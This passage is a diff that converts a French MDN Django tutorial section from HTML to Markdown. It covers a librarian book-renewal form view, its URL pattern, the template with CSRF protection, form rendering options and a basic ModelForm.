notre formulaire dans cet exemple. -<h3 id="Configuration_dURL">Configuration d'URL</h3> +### Configuration d'URL -<p>Avant de créer notre vue, ajoutons une configuration d'URL pour la page <em>renew-books</em>. Copiez la configuration suivante à la fin de <strong>locallibrary/catalog/urls.py</strong>.</p> +Avant de créer notre vue, ajoutons une configuration d'URL pour la page _renew-books_. Copiez la configuration suivante à la fin de **locallibrary/catalog/urls.py**. -<pre class="brush: python">urlpatterns += [ - url(r'^book/(?P<pk>[-\w]+)/renew/$', views.renew_book_librarian, name='renew-book-librarian'), -]</pre> +```python +urlpatterns += [ + url(r'^book/(?P<pk>[-\w]+)/renew/$', views.renew_book_librarian, name='renew-book-librarian'), +] +``` -<p>La configuration d'URL va rediriger les URLs ayant le format <strong>/catalog/book/<em><bookinstance id></em>/renew/</strong> vers la fonction appelée <code>renew_book_librarian()</code> dans <strong>views.py</strong>, et envoyer l'id de <code>BookInstance</code> comme paramètre sous le nom <code>pk</code>. Le pattern ne fonctionnera que si <code>pk</code> est un <code>uuid</code> correctement formaté.</p> +La configuration d'URL va rediriger les URLs ayant le format **/catalog/book/_\<bookinstance id>_/renew/** vers la fonction appelée `renew_book_librarian()` dans **views.py**, et envoyer l'id de `BookInstance` comme paramètre sous le nom `pk`. Le pattern ne fonctionnera que si `pk` est un `uuid` correctement formaté. -<div class="note"> -<p><strong>Note :</strong> Nous pouvons appeler comme bon nous semble la donnée d'URL "<code>pk</code>" que nous avons capturée, car nous contrôlons complètement la fonction de notre <em>view</em> (nous n'utilisons pas une vue générique <em>detail</em>, laquelle attendrait des paramètres avec un certain nom). Cependant, le raccourci <code>pk</code>, pour "primary key", est une convention qu'il est raisonnable d'utiliser !</p> -</div> +> **Note :** Nous pouvons appeler comme bon nous semble la donnée d'URL "`pk`" que nous avons capturée, car nous contrôlons complètement la fonction de notre _view_ (nous n'utilisons pas une vue générique _detail_, laquelle attendrait des paramètres avec un certain nom). Cependant, le raccourci `pk`, pour "primary key", est une convention qu'il est raisonnable d'utiliser ! -<h3 id="Vue">Vue</h3> +### Vue -<p>Comme nous l'avons expliqué ci-dessus dans <a href="/fr/docs/Learn/Server-side/Django/Forms#django_form_handling_process">Django form handling process</a>, la vue doit retourner le formulaire par défaut s'il est appelé pour la première fois, et ensuite soit le retourner à nouveau avec les messages d'erreur si les données sont invalides, soit gérer les données et rediriger vers une nouvelle page si elles sont valides. Pour effectuer ces différentes actions, la vue doit être en mesure de savoir si elle est appelée pour la première fois (et retourner le formulaire par défaut) ou pour la deuxième fois ou plus (et valider les données).</p> +Comme nous l'avons expliqué ci-dessus dans [Django form handling process](/fr/docs/Learn/Server-side/Django/Forms#django_form_handling_process), la vue doit retourner le formulaire par défaut s'il est appelé pour la première fois, et ensuite soit le retourner à nouveau avec les messages d'erreur si les données sont invalides, soit gérer les données et rediriger vers une nouvelle page si elles sont valides. Pour effectuer ces différentes actions, la vue doit être en mesure de savoir si elle est appelée pour la première fois (et retourner le formulaire par défaut) ou pour la deuxième fois ou plus (et valider les données). -<p>Pour les formulaires qui utilisent une requête <code>POST</code> pour envoyer une information au serveur, la manière la plus commune de procéder pour la vue est de tester le type de requête <code>POST</code> (<code>if request.method == 'POST':</code>) pour repérer des requêtes de type validation de formulaire, et <code>GET</code> (en utilisant une condition <code>else</code>) pour identifer une requête initiale de création de formulaire. Si vous voulez utiliser une requête <code>GET</code> pour envoyer vos données, alors une approche classique pour savoir si la vue est invoquée pour la première fois ou non est de lire les données du formulaire (p. ex. lire une valeur cachée dans le formulaire).</p> +Pour les formulaires qui utilisent une requête `POST` pour envoyer une information au serveur, la manière la plus commune de procéder pour la vue est de tester le type de requête `POST` (`if request.method == 'POST':`) pour repérer des requêtes de type validation de formulaire, et `GET` (en utilisant une condition `else`) pour identifer une requête initiale de création de formulaire. Si vous voulez utiliser une requête `GET` pour envoyer vos données, alors une approche classique pour savoir si la vue est invoquée pour la première fois ou non est de lire les données du formulaire (p. ex. lire une valeur cachée dans le formulaire). -<p>Le processus de renouvellement de livre va écrire dans notre base de données, aussi, par convention, nous utiliserons le type de requête <code>POST</code>. Le bout de code ci-dessous montre le procédé (très classique) pour cette sorte de vue basée sur des fonctions.</p> +Le processus de renouvellement de livre va écrire dans notre base de données, aussi, par convention, nous utiliserons le type de requête `POST`. Le bout de code ci-dessous montre le procédé (très classique) pour cette sorte de vue basée sur des fonctions. -<pre class="brush: python">import datetime +```python +import datetime from django.shortcuts import get_object_or_404 from django.http import HttpResponseRedirect @@ -232,13 +232,13 @@ def renew_book_librarian(request, pk): book_inst=get_object_or_404(BookInstance, pk = pk) # If this is a POST request then process the Form data -<strong> if request.method == 'POST':</strong> + if request.method == 'POST': # Create a form instance and populate it with data from the request (binding): form = RenewBookForm(request.POST) # Check if the form is valid: - <strong>if form.is_valid():</strong> + if form.is_valid(): # process the data in form.cleaned_data as required (here we just write it to the model due_back field) book_inst.due_back = form.cleaned_data['renewal_date'] book_inst.save() @@ -247,43 +247,45 @@ def renew_book_librarian(request, pk): return HttpResponseRedirect(reverse('all-borrowed') ) # If this is a GET (or any other method) create the default form. -<strong> else:</strong> + else: proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) - return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) +``` -<p>Nous importons tout d'abord notre formulaire (<code>RenewBookForm</code>) et un certain nombre d'autres objets/méthodes utiles, dont nous nous servons dans le corps de la fonction de notre vue :</p> +Nous importons tout d'abord notre formulaire (`RenewBookForm`) et un certain nombre d'autres objets/méthodes utiles, dont nous nous servons dans le corps de la fonction de notre vue : -<ul> - <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code> : Retourne un certain objet depuis un modèle, en se basant sur sa valeur "primary key", et lève une exception <code>Http404</code> (<em>not found</em>) si l'enregistrement n'existe pas.</li> - <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code> : Cette méthode crée une redirection vers une certaine URL (code de statut HTTP 302).</li> - <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#django.urls.reverse">reverse()</a></code> : Cette méthode génère une URL à partir d'un nom trouvé dans la configuration d'URL et un ensemble d'arguments. C'est l'équivalent Python du tag <code>url</code> que nous avons utilisé dans nos templates.</li> - <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code> : Une bibliothèque Python pour manipuler des dates et des heures.</li> -</ul> +- [`get_object_or_404()`](https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404) : Retourne un certain objet depuis un modèle, en se basant sur sa valeur "primary key", et lève une exception `Http404` (_not found_) si l'enregistrement n'existe pas. +- [`HttpResponseRedirect`](https://docs.djangoproject.com/en/1.10/ref/request-response/#django.http.HttpResponseRedirect) : Cette méthode crée une redirection vers une certaine URL (code de statut HTTP 302). +- [`reverse()`](https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#django.urls.reverse) : Cette méthode génère une URL à partir d'un nom trouvé dans la configuration d'URL et un ensemble d'arguments. C'est l'équivalent Python du tag `url` que nous avons utilisé dans nos templates. +- [`datetime`](https://docs.python.org/3/library/datetime.html) : Une bibliothèque Python pour manipuler des dates et des heures. -<p>Dans la vue, nous utilisons d'abord l'argument <code>pk</code> dans la fonction <code>get_object_or_404()</code>, afin d'obtenir la <code>BookInstance</code> courante (si cette instance n'existe pas, la vue se termine immédiatement et la page va afficher une erreur ). Si ce n'est <em>pas</em> une requête <code>POST</code> (cas géré par la clause <code>else</code>), alors nous créons le formulaire par défaut en lui passant une valeur <code>initial</code> pour le champ <code>renewal_date</code> (comme montré en gras ci-dessous, c'est la date actuelle plus 3 semaines).</p> +Dans la vue, nous utilisons d'abord l'argument `pk` dans la fonction `get_object_or_404()`, afin d'obtenir la `BookInstance` courante (si cette instance n'existe pas, la vue se termine immédiatement et la page va afficher une erreur ). Si ce n'est _pas_ une requête `POST` (cas géré par la clause `else`), alors nous créons le formulaire par défaut en lui passant une valeur `initial` pour le champ `renewal_date` (comme montré en gras ci-dessous, c'est la date actuelle plus 3 semaines). -<pre class="brush: python"> book_inst=get_object_or_404(BookInstance, pk = pk) +```python + book_inst=get_object_or_404(BookInstance, pk = pk) # If this is a GET (or any other method) create the default form - <strong>else:</strong> - proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>) - <strong>form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>,})</strong> + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) - return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) +``` -<p>Après création du formulaire, nous appelons la fonction <code>render()</code> pour créer la page HTML, en précisant le template et un contexte qui contient notre formulaire. Dans ce cas, le contexte contient aussi notre <code>BookInstance</code>, que nous allons utiliser dans le template pour fournir des informations à propos du livre que nous sommes en train de renouveler.</p> +Après création du formulaire, nous appelons la fonction `render()` pour créer la page HTML, en précisant le template et un contexte qui contient notre formulaire. Dans ce cas, le contexte contient aussi notre `BookInstance`, que nous allons utiliser dans le template pour fournir des informations à propos du livre que nous sommes en train de renouveler. -<p>En revanche, s'il s'agit d'une requête <code>POST</code>, alors nous créons notre objet <code>form</code> et le peuplons avec des données récupérées dans la requête. Ce processus est appelé "binding" (liaison) et nous permet de valider le formulaire. Ensuite nous vérifions que le formulaire est valide, ce qui déclenche tout le code de validation sur tous les champs - ce qui inclut à la fois le code générique vérifiant que notre champ date est effectivement une date valide, et notre fonction <code>clean_renewal_date()</code>, spécifique à notre formulaire, pour vérifier que la date est dans le bon intervalle.</p> +En revanche, s'il s'agit d'une requête `POST`, alors nous créons notre objet `form` et le peuplons avec des données récupérées dans la requête. Ce processus est appelé "binding" (liaison) et nous permet de valider le formulaire. Ensuite nous vérifions que le formulaire est valide, ce qui déclenche tout le code de validation sur tous les champs - ce qui inclut à la fois le code générique vérifiant que notre champ date est effectivement une date valide, et notre fonction `clean_renewal_date()`, spécifique à notre formulaire, pour vérifier que la date est dans le bon intervalle. -<pre class="brush: python"> book_inst=get_object_or_404(BookInstance, pk = pk) +```python + book_inst=get_object_or_404(BookInstance, pk = pk) # If this is a POST request then process the Form data if request.method == 'POST': # Create a form instance and populate it with data from the request (binding): -<strong> form = RenewBookForm(request.POST)</strong> + form = RenewBookForm(request.POST) # Check if the form is valid: if form.is_valid(): @@ -294,236 +296,233 @@ def renew_book_librarian(request, pk): # redirect to a new URL: return HttpResponseRedirect(reverse('all-borrowed') ) - return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) +``` -<p>Si le formulaire n'est pas valide, nous appelons aussi la fonction <code>render()</code>, mais cette fois les valeurs passées dans le contexte vont inclure les messages d'erreur.</p> +Si le formulaire n'est pas valide, nous appelons aussi la fonction `render()`, mais cette fois les valeurs passées dans le contexte vont inclure les messages d'erreur. -<p>Si le formulaire est valide, alors nous pouvons commencer à utiliser les données, en y accédant à travers l'attribut <code>form.cleaned_data</code> (p. ex. <code>data = form.cleaned_data['renewal_date']</code>). Ici nous ne faisons que sauvegarder dans la valeur <code>due_back</code> de l'objet <code>BookInstance</code> associé les données reçues.</p> +Si le formulaire est valide, alors nous pouvons commencer à utiliser les données, en y accédant à travers l'attribut `form.cleaned_data` (p. ex. `data = form.cleaned_data['renewal_date']`). Ici nous ne faisons que sauvegarder dans la valeur `due_back` de l'objet `BookInstance` associé les données reçues. -<div class="warning"> -<p><strong>Attention :</strong> Alors que vous pouvez accéder aussi aux données de formulaire directement à travers la requête (par exemple <code>request.POST['renewal_date']</code>, ou <code>request.GET['renewal_date']</code> si vous utilisez une requête GET), ce n'est PAS recommandé. Les données nettoyées sont assainies, validées et converties en types standard Python.</p> -</div> +> **Attention :** Alors que vous pouvez accéder aussi aux données de formulaire directement à travers la requête (par exemple `request.POST['renewal_date']`, ou `request.GET['renewal_date']` si vous utilisez une requête GET), ce n'est PAS recommandé. Les données nettoyées sont assainies, validées et converties en types standard Python. -<p>L'étape finale dans la partie "gestion de formulaire" de la vue est de rediriger vers une autre page, habituellement une page "success". Dans ce cas, nous utilisons <code>HttpResponseRedirect</code> et <code>reverse()</code> pour rediriger vers la vue appelée <code>'all-borrowed'</code> (qui a été créée dans la partie "challenge" de <a href="/fr/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a>. Si vous n'avez pas créé cette page, vous pouvez rediriger vers la page d'accueil à l'URL '/').</p> +L'étape finale dans la partie "gestion de formulaire" de la vue est de rediriger vers une autre page, habituellement une page "success". Dans ce cas, nous utilisons `HttpResponseRedirect` et `reverse()` pour rediriger vers la vue appelée `'all-borrowed'` (qui a été créée dans la partie "challenge" de [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself). Si vous n'avez pas créé cette page, vous pouvez rediriger vers la page d'accueil à l'URL '/'). -<p>C'est tout ce qui est requis pour la gestion du formulaire lui-même, mais il nous faut encore restreindre l'accès à la vue aux seuls libraires. Nous devrions sans doute créer un nouveau réglage de permission dans <code>BookInstance</code> ("<code>can_renew</code>"), mais, pour ne pour ne pas compliquer les choses ici, nous allons simplement utiliser le décorateur de fonction <code>@permission_required</code> avec notre permission existante <code>can_mark_returned</code>.</p> +C'est tout ce qui est requis pour la gestion du formulaire lui-même, mais il nous faut encore restreindre l'accès à la vue aux seuls libraires. Nous devrions sans doute créer un nouveau réglage de permission dans `BookInstance` ("`can_renew`"), mais, pour ne pour ne pas compliquer les choses ici, nous allons simplement utiliser le décorateur de fonction `@permission_required` avec notre permission existante `can_mark_returned`. -<p>Le résultat final de la vue est donc comme indiqué ci-dessous. Veuillez copier ceci en bas de <strong>locallibrary/catalog/views.py</strong>.</p> +Le résultat final de la vue est donc comme indiqué ci-dessous. Veuillez copier ceci en bas de **locallibrary/catalog/views.py**. -<pre><strong>from django.contrib.auth.decorators import permission_required</strong> + from django.contrib.auth.decorators import permission_required -from django.shortcuts import get_object_or_404 -from django.http import HttpResponseRedirect -from django.core.urlresolvers import reverse -import datetime + from django.shortcuts import get_object_or_404 + from django.http import HttpResponseRedirect + from django.core.urlresolvers import reverse + import datetime -from .forms import RenewBookForm + from .forms import RenewBookForm -<strong>@permission_required('catalog.<code>can_mark_returned</code>')</strong> -def renew_book_librarian(request, pk): - """ - View function for renewing a specific BookInstance by librarian - """ - book_inst=get_object_or_404(BookInstance, pk = pk) + @permission_required('catalog.can_mark_returned') + def renew_book_librarian(request, pk): + """ + View function for renewing a specific BookInstance by librarian + """ + book_inst=get_object_or_404(BookInstance, pk = pk) - # If this is a POST request then process the Form data - if request.method == 'POST': + # If this is a POST request then process the Form data + if request.method == 'POST': - # Create a form instance and populate it with data from the request (binding): - form = RenewBookForm(request.POST) + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) - # Check if the form is valid: - if form.is_valid(): - # process the data in form.cleaned_data as required (here we just write it to the model due_back field) - book_inst.due_back = form.cleaned_data['renewal_date'] - book_inst.save() + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() - # redirect to a new URL: - return HttpResponseRedirect(reverse('all-borrowed') ) + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) - # If this is a GET (or any other method) create the default form. - else: - proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) - form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + # If this is a GET (or any other method) create the default form. + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) - return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) -</pre> + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) -<h3 id="Le_template">Le template</h3> +### Le template -<p>Créez le template référencé dans la vue (<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>) et copiez-y le code suivant :</p> +Créez le template référencé dans la vue (**/catalog/templates/catalog/book_renew_librarian.html**) et copiez-y le code suivant : -<pre class="brush: html">{% extends "base_generic.html" %} +```html +{% extends "base_generic.html" %} {% block content %} - <h1>Renew: \{{bookinst.book.title}}</h1> - <p>Borrower: \{{bookinst.borrower}}</p> - <p{% if bookinst.is_overdue %} class="text-danger"{% endif %}>Due date: \{{bookinst.due_back}}</p> + <h1>Renew: \{{bookinst.book.title}}</h1> + <p>Borrower: \{{bookinst.borrower}}</p> + <p{% if bookinst.is_overdue %} class="text-danger"{% endif %}>Due date: \{{bookinst.due_back}}</p> -<strong> <form action="" method="post"> + <form action="" method="post"> {% csrf_token %} - <table> + <table> \{{ form }} - </table> - <input type="submit" value="Submit" /> - </form></strong> + </table> + <input type="submit" value="Submit" /> + </form> -{% endblock %}</pre> +{% endblock %} +``` -<p>La majeure partie de ce code devrait vous être familière si vous avez suivi les tutoriels précédents. Nous étendons le template de base et ensuite redéfinissons le block "content". Nous sommes en mesure de référencer <code>\{{ book_instance }}</code> (et ses variables), puisqu'il a été passé dans l'objet context par la fonction <code>render()</code>, et nous utilisons tout cela pour lister le titre du livre, son emprunteur et la date originale de retour.</p> +La majeure partie de ce code devrait vous être familière si vous avez suivi les tutoriels précédents. Nous étendons le template de base et ensuite redéfinissons le block "content". Nous sommes en mesure de référencer `\{{ book_instance }}` (et ses variables), puisqu'il a été passé dans l'objet context par la fonction `render()`, et nous utilisons tout cela pour lister le titre du livre, son emprunteur et la date originale de retour. -<p>Le code du formulaire est relativement simple. Nous déclarons d'abord les tags <code>form</code>, en précisant où le formulaire doit être adressé (<code>action</code>) et la <code>method</code> utilisée pour soumettre les donées (ici un "HTTP POST"). Si vous vous rappelez ce qui a été dit en haut de cette page (aperçu sur les <a href="/fr/docs/Learn/Server-side/Django/Forms#HTML_forms">HTML Forms</a>), une <code>action</code> vide comme ici signifie que les données de formulaire seront postées à nouveau à l'URL actuelle (ce qui est le comportement que nous voulons !). À l'intérieur des tags, nous définissons le bouton , sur lequel l'utilisateur peut appuyer pour envoyer les données. Le <code>{% csrf_token %}</code> ajouté juste à l'intérieur des tags "form" est un des éléments de protection utilisés par Django contre les "cross-site forgery".</p> +Le code du formulaire est relativement simple. Nous déclarons d'abord les tags `form`, en précisant où le formulaire doit être adressé (`action`) et la `method` utilisée pour soumettre les donées (ici un "HTTP POST"). Si vous vous rappelez ce qui a été dit en haut de cette page (aperçu sur les [HTML Forms](/fr/docs/Learn/Server-side/Django/Forms#HTML_forms)), une `action` vide comme ici signifie que les données de formulaire seront postées à nouveau à l'URL actuelle (ce qui est le comportement que nous voulons !). À l'intérieur des tags, nous définissons le bouton , sur lequel l'utilisateur peut appuyer pour envoyer les données. Le `{% csrf_token %}` ajouté juste à l'intérieur des tags "form" est un des éléments de protection utilisés par Django contre les "cross-site forgery". -<div class="note"> -<p><strong>Note :</strong> Ajoutez le <code>{% csrf_token %}</code> à tout template Django que vous créeez et qui utilise <code>POST</code> pour soumettre les données. Cela réduira les risques qu'un utilisateur mal intentionné pirate vos formulaires.</p> -</div> +> **Note :** Ajoutez le `{% csrf_token %}` à tout template Django que vous créeez et qui utilise `POST` pour soumettre les données. Cela réduira les risques qu'un utilisateur mal intentionné pirate vos formulaires. -<p>Tout ce qui reste est la variable de template <code>\{{ form }}</code>, que nous avons passée au template dans le dictionnaire de contexte. Peut-être sans surprise, quand il est utilisé comme indiqué, il fournit le rendu par défaut de tous les champs de formulaire, y compris leurs labels, widgets et textes d'aide. Voici le rendu :</p> +Tout ce qui reste est la variable de template `\{{ form }}`, que nous avons passée au template dans le dictionnaire de contexte. Peut-être sans surprise, quand il est utilisé comme indiqué, il fournit le rendu par défaut de tous les champs de formulaire, y compris leurs labels, widgets et textes d'aide. Voici le rendu : -<pre class="brush: html"><tr> - <th><label for="id_renewal_date">Renewal date:</label></th> - <td> - <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /> - <br /> - <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> - </td> -</tr> -</pre> +```html +<tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> + <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr> +``` -<div class="note"> -<p><strong>Note :</strong> Ce n'est peut-être pas évident, car nous n'avons qu'un seul champ, mais, par défaut, chaque champ est défini dans sa propre ligne de tableau. Ce même rendu est fourni si vous référencez la variable de template <code>\{{ form.as_table }}</code>.</p> -</div> +> **Note :** Ce n'est peut-être pas évident, car nous n'avons qu'un seul champ, mais, par défaut, chaque champ est défini dans sa propre ligne de tableau. Ce même rendu est fourni si vous référencez la variable de template `\{{ form.as_table }}`. -<p>Si vous aviez entré une date invalide, vous obtiendriez en plus sur la page une liste des erreurs (indiquées en gras ci-dessous).</p> +Si vous aviez entré une date invalide, vous obtiendriez en plus sur la page une liste des erreurs (indiquées en gras ci-dessous). -<pre class="brush: html"><tr> - <th><label for="id_renewal_date">Renewal date:</label></th> - <td> -<strong> <ul class="errorlist"> - <li>Invalid date - renewal in past</li> - </ul></strong> - <input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required /> - <br /> - <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> - </td> -</tr></pre> +```html +<tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> + <ul class="errorlist"> + <li>Invalid date - renewal in past</li> + </ul> + <input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr> +``` -<h4 id="Autres_façons_dutiliser_la_variable_de_template_du_formulaire">Autres façons d'utiliser la variable de template du formulaire</h4> +#### Autres façons d'utiliser la variable de template du formulaire -<p>Si vous utilisez <code>\{{ form.as_table }}</code> comme indiqué ci-dessus, chaque champ est rendu comme une ligne de tableau. Vous pouvez également rendre chaque champ comme un élément de liste (en utilisant <code>\{{ form.as_ul }}</code>) ou comme un paragraphe (en utilisant <code>\{{ form.as_p }}</code>).</p> +Si vous utilisez `\{{ form.as_table }}` comme indiqué ci-dessus, chaque champ est rendu comme une ligne de tableau. Vous pouvez également rendre chaque champ comme un élément de liste (en utilisant `\{{ form.as_ul }}`) ou comme un paragraphe (en utilisant `\{{ form.as_p }}`). -<p>Il est également possible d'avoir un contrôle complet sur le rendu de chaque partie du formulaire, en indexant ses propriétés grâce à la notation pointée. Ainsi, par exemple, nous pouvons accéder un certain nombre d'éléments distincts pour notre champ <code>renewal_date</code> :</p> +Il est également possible d'avoir un contrôle complet sur le rendu de chaque partie du formulaire, en indexant ses propriétés grâce à la notation pointée. Ainsi, par exemple, nous pouvons accéder un certain nombre d'éléments distincts pour notre champ `renewal_date` : -<ul> - <li><code>\{{form.renewal_date}}</code> : Le champ complet.</li> - <li><code>\{{form.renewal_date.errors}}</code> : La liste des erreurs.</li> - <li><code>\{{form.renewal_date.id_for_label}}</code> : L'id du label.</li> - <li><code>\{{form.renewal_date.help_text}}</code> : Le texte d'aide du champ.</li> - <li>etc !</li> -</ul> +- `\{{form.renewal_date}}` : Le champ complet. +- `\{{form.renewal_date.errors}}` : La liste des erreurs. +- `\{{form.renewal_date.id_for_label}}` : L'id du label. +- `\{{form.renewal_date.help_text}}` : Le texte d'aide du champ. +- etc ! -<p>Pour plus d'exemples sur la manière de rendre manuellement des formulaires dans des templates, et boucler de manière dynamique sur les champs du template, voyez <a href="https://docs.djangoproject.com/en/1.10/topics/forms/#rendering-fields-manually">Working with forms > Rendering fields manually</a> (Django docs).</p> +Pour plus d'exemples sur la manière de rendre manuellement des formulaires dans des templates, et boucler de manière dynamique sur les champs du template, voyez [Working with forms > Rendering fields manually](https://docs.djangoproject.com/en/1.10/topics/forms/#rendering-fields-manually) (Django docs). -<h3 id="Tester_la_page">Tester la page</h3> +### Tester la page -<p>Si vous avez accepté le "challenge" dans <a href="/fr/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a>, vous avez une liste de tous les livres empruntés dans la bibliothèque, ce qui n'est visible que pour le staff de la bibliothèque. Nous pouvons ajouter un lien vers notre page de renouvellement après chaque élément, en utilisant le code de template suivant.</p> +Si vous avez accepté le "challenge" dans [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself), vous avez une liste de tous les livres empruntés dans la bibliothèque, ce qui n'est visible que pour le staff de la bibliothèque. Nous pouvons ajouter un lien vers notre page de renouvellement après chaque élément, en utilisant le code de template suivant. -<pre class="brush: html">{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}</pre> +```html +{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %} +``` -<div class="note"> -<p><strong>Note :</strong> Souvenez-vous que votre login de test devra avoir la permission "<code>catalog.can_mark_returned</code>" pour pouvoir accéder la page de renouvellement de livre (utilisez peut-être votre compte superuser).</p> -</div> +> **Note :** Souvenez-vous que votre login de test devra avoir la permission "`catalog.can_mark_returned`" pour pouvoir accéder la page de renouvellement de livre (utilisez peut-être votre compte superuser). -<p>Vous pouvez aussi construire manuellement une URL de test comme ceci : <a class="external" href="http://127.0.0.1:8000/catalog/book/<bookinstance id>/renew/" rel="noopener">http://127.0.0.1:8000/catalog/book/<em><bookinstance_id></em>/renew/</a> (un id de bookinstance valide peut être obtenu en navigant vers une page de détail de livre dans votre bibliothèque, et en copiant le champ <code>id</code>).</p> +Vous pouvez aussi construire manuellement une URL de test comme ceci : [http://127.0.0.1:8000/catalog/book/*\<bookinstance_id>*/renew/](<http://127.0.0.1:8000/catalog/book/\<bookinstance id\>/renew/>) (un id de bookinstance valide peut être obtenu en navigant vers une page de détail de livre dans votre bibliothèque, et en copiant le champ `id`). -<h3 id="À_quoi_cela_ressemble-t-il">À quoi cela ressemble-t-il ?</h3> +### À quoi cela ressemble-t-il ? -<p>Si tout a bien marché, le formulaire par défaut ressemblera à ceci :</p> +Si tout a bien marché, le formulaire par défaut ressemblera à ceci : -<p><img alt="" src="forms_example_renew_default.png"></p> + -<p>Le formulaire avec valeur erronée ressemblera à ceci :</p> +Le formulaire avec valeur erronée ressemblera à ceci : -<p><img alt="" src="forms_example_renew_invalid.png"></p> + -<p>La liste de tous les livres avec les liens vers le renouvellement ressemblera à ceci :</p> +La liste de tous les livres avec les liens vers le renouvellement ressemblera à ceci : -<p><img alt="" src="forms_example_renew_allbooks.png"></p> + -<h2 id="ModelForms">ModelForms</h2> +## ModelForms -<p>Créer une classe en utilisant l'approche décrite ci-dessus est très flexible et vous autorise à créer le type de page de formulaire que vous voulez, et à l'associer à tout type de modèle(s).</p> +Créer une classe en utilisant l'approche décrite ci-dessus est très flexible et vous autorise à créer le type de page de formulaire que vous voulez, et à l'associer à tout type de modèle(s). -<p>Cependant, si vous avez seulement besoin d'un formulaire qui répertorie les champs d'un modèle unique, alors votre modèle définira déjà la plupart des informations requises dans votre formulaire : champs, labels, texte d'aide etc. Plutôt que de créer à nouveau les définitions du modèle dans votre formulaire, il est plus facile d'utiliser la classe d'aide <a class="external" href="https://docs.djangoproject.com/en/2.1/topics/forms/modelforms/" rel="noopener">ModelForm</a> pour créer le formulaire d'après votre modèle. Ce <code>ModelForm</code> peut dès lors être utilisé à l'intérieur de vos vues exactement de la même manière qu'un <code>Form</code> ordinaire.</p> +Cependant, si vous avez seulement besoin d'un formulaire qui répertorie les champs d'un modèle unique, alors votre modèle définira déjà la plupart des informations requises dans votre formulaire : champs, labels, texte d'aide etc. Plutôt que de créer à nouveau les définitions du modèle dans votre formulaire, il est plus facile d'utiliser la classe d'aide [ModelForm](https://docs.djangoproject.com/en/2.1/topics/forms/modelforms/) pour créer le formulaire d'après votre modèle. Ce `ModelForm` peut dès lors être utilisé à l'intérieur de vos vues exactement de la même manière qu'un `Form` ordinaire. -<p>Un <code>ModelForm</code> basique, contenant le même champ que notre <code>RenewBookForm</code> d'origine, est montré ci-dessous. Tout ce que vous avez à faire pour créer le formulaire, c'est ajouter <code>class Meta</code> avec le <code>model</code> (<code>BookInstance</code>) associé, et une liste des <code>fields</code> du modèle à inclure dans le formulaire (vous pouvez inclure tous les champs en utilisant <code>fields = '__all__'</code>, ou bien utiliser <code>exclude</code> (au lieu de <code>fields</code>) pour préciser les champs à ne <em>pas</em> importer du modèle).</p> +Un `ModelForm` basique, contenant le même champ que notre `RenewBookForm` d'origine, est montré ci-dessous. Tout ce que vous avez à faire pour créer le formulaire, c'est ajouter `class Meta` avec le `model` (`BookInstance`) associé, et une liste des `fields` du modèle à inclure dans le formulaire (vous pouvez inclure tous les champs en utilisant `fields = '__all__'`, ou bien utiliser `exclude` (au lieu de `fields`) pour préciser les champs à ne _pas_ importer du modèle). -<pre class="brush: python">from django.forms import ModelForm +```python +from django.forms import ModelForm from .models import BookInstance class RenewBookModelForm(ModelForm): -<strong> class Meta: + class Meta: model = BookInstance - fields = ['due_back',]</strong> -</pre> + fields = ['due_back',] 